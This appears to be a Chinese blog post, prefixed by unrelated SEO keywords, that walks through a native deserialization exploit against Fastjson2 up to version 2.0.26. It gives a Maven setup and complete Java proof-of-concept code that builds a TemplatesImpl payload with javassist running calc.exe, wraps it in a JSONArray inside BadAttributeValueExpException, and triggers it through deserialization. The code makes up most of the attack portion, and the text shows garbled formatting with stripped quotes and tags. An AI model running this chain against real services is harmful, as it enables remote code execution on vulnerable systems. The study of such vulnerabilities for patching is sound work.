外贸搜素网站,河南科兴建设有限公司网站,什么是网络营销道德,做期货应关注什么网站根据Y4TACKER师傅在2023-03-20发布了一篇关于Fastjson原生反序列化的文章#xff0c;文章中引入注目的是利用条件限制条件#xff0c;不常常关注漏洞预警或者内容的几乎都是未发觉Fastjson2 到Fastjson2 2.0.26版本都有问题#xff0c;其实如果单独去使用一些关键词去搜索Y4TACKER师傅在2023-03-20发布了一篇关于Fastjson原生反序列化的文章文章中引入注目的是利用条件限制条件不常常关注漏洞预警或者内容的几乎都是未发觉Fastjson2 到Fastjson2 2.0.26版本都有问题其实如果单独去使用一些关键词去搜索Fastjson2漏洞或Fastjson2 Payload的结果内容比较乱比较杂几乎参杂了Fastjson1的SEO搜索内容那么就可能在一时没注意的情况下直接滑过。
一、创建一个DEMO
设置依赖项依赖项中有个是使用的是Fastjson1.2.48的这个就不演示了主要还是以Fastjson2系列为主
project xmlnshttp://maven.apache.org/POM/4.0.0xmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexsi:schemaLocationhttp://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsdmodelVersion4.0.0/modelVersiongroupIdxibt/groupIdartifactIdcom.xibt/artifactIdversion0.0.1-SNAPSHOT/versionnameProxy/namedependenciesdependencygroupIdorg.javassist/groupIdartifactIdjavassist/artifactIdversion3.19.0-GA/version !-- 或者其他版本 --/dependency!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --dependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.48/version/dependencydependencygroupIdcom.alibaba.fastjson2/groupIdartifactIdfastjson2/artifactIdversion2.0.0/version/dependency/dependencies
/project在项目中创建一个Java类上面的fastjson2依赖版本根据也可自行更改为2.0.26版本几乎都是存在问题的
package com.example.fastjson;import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test {public static void setValue(Object obj, String name, Object value) throws Exception {Field field obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {ClassPool pool ClassPool.getDefault();CtClass clazz pool.makeClass(a);CtClass superClass pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor new CtConstructor(new CtClass[]{}, clazz);// 修改这里使用 calc.exe 打开 Windows 计算器如果是mac需要自行修改constructor.setBody(Runtime.getRuntime().exec(\calc.exe\););clazz.addConstructor(constructor);byte[][] bytes new byte[][]{clazz.toBytecode()};TemplatesImpl templates TemplatesImpl.class.newInstance();setValue(templates, _bytecodes, bytes);setValue(templates, _name, y4tacker);setValue(templates, _tfactory, null);JSONArray jsonArray new JSONArray();jsonArray.add(templates);BadAttributeValueExpException val new BadAttributeValueExpException(null);Field valfield val.getClass().getDeclaredField(val);valfield.setAccessible(true);valfield.set(val, jsonArray);ByteArrayOutputStream barr new ByteArrayOutputStream();ObjectOutputStream objectOutputStream new ObjectOutputStream(barr);objectOutputStream.writeObject(val);ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o (Object) ois.readObject();}
}
漏洞触发点
Fastjson2 在处理某些特殊的序列化数据时存在漏洞该漏洞允许攻击者通过构造恶意的JSON数据触发远程代码执行。 具体触发点在于通过JSONArray的add方法将构造的TemplatesImpl对象添加到JSONArray中。
利用方法
通过构造TemplatesImpl对象设置_bytecodes字段为经过calc.exe执行代码的字节码。 利用BadAttributeValueExpException类的漏洞通过设置其val字段为包含恶意TemplatesImpl对象的JSONArray以触发漏洞。
触发方式
触发的方式主要是通过对BadAttributeValueExpException对象的序列化和反序列化以触发Fastjson反序列化漏洞。 最终目的是在反序列化过程中执行恶意构造的TemplatesImpl对象中的代码即执行constructor.setBody(Runtime.getRuntime().exec(\calc.exe\););从而触发恶意调用。